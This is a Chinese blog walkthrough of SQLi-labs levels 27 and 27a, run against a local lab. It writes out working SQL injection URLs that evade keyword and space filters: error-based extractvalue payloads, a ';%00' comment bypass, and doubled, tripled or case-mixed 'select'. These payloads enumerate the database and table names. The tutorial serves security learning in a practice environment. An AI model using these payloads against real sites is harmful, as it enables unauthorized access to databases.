目录
第二十七关
1、判断注入点
2、判断数据库
3、判断表名
第二十七a关
第二十七关
知识点:空格、select、union等过滤绕过
思路:
通过分析源码,我们可以知道对用户的输入进行过滤,对空格、select、union等进行了过滤,所以我们的思路是绕过这些过滤
1、判断注入点
首先,输入正常的数据看看回显
接着增加单引号‘
http://127.0.0.1:3306/Less-27/?id=1'
发现报错了,而且有报错信息提示,所以后面我们可以使用报错函数进行注入
增加注释符
http://127.0.0.1:3306/Less-27/?id=1' --+
发现被过滤,我们可以使用;%00来绕过
http://127.0.0.1:3306/Less-27/?id=1';%00
正确回显,说明注释后的闭合方式是单引号
判断回显位置
这里发现空格、union、select都被过滤了,因为我的环境是windows搭建的,空格编码识别不了,所以采用报错函数进行注入,不使用联合查询
2、判断数据库
http://127.0.0.1:3306/Less-27/?id=1'||extractvalue(1,concat(0x7e,database()));%00
3、判断表名
http://127.0.0.1:3306/Less-27/?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))));%00
select被过滤了,我们采用双写的方式
http://127.0.0.1:3306/Less-27/?id=1'||extractvalue(1,concat(0x7e,(seleselectct(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))));%00
双写也不行,因为对select进行了二次过滤
http://127.0.0.1:3306/Less-27/?id=1'||extractvalue(1,concat(0x7e,(seleseleselectctct(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))));%00
三写可以进行绕过,还有一种绕过方式,因为没有对SELECT进行二次过滤,所以双写SELECT也可以绕过
http://127.0.0.1:3306/Less-27/?id=1'||extractvalue(1,concat(0x7e,(SELESELECTCT(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))));%00
接下来的步骤就跟26关的一样了,参考一下26关
SQLI-labs-第二十六关和第二十六a关-CSDN博客
第二十七a关
知识点:空格、select、union等过滤绕过
思路:
这一关的原理也跟上一关一样,对select、union等进行过滤,只不过闭合方式不一样,而且没有报错信息,所以我们不能使用报错函数,只能使用联合查询,对于union的过滤,我们可以采用双写、三写或者大小写混合的方式进行绕过,这里因为环境问题,不做演示
这篇文章就先写到这里了,哪里不懂的欢迎提问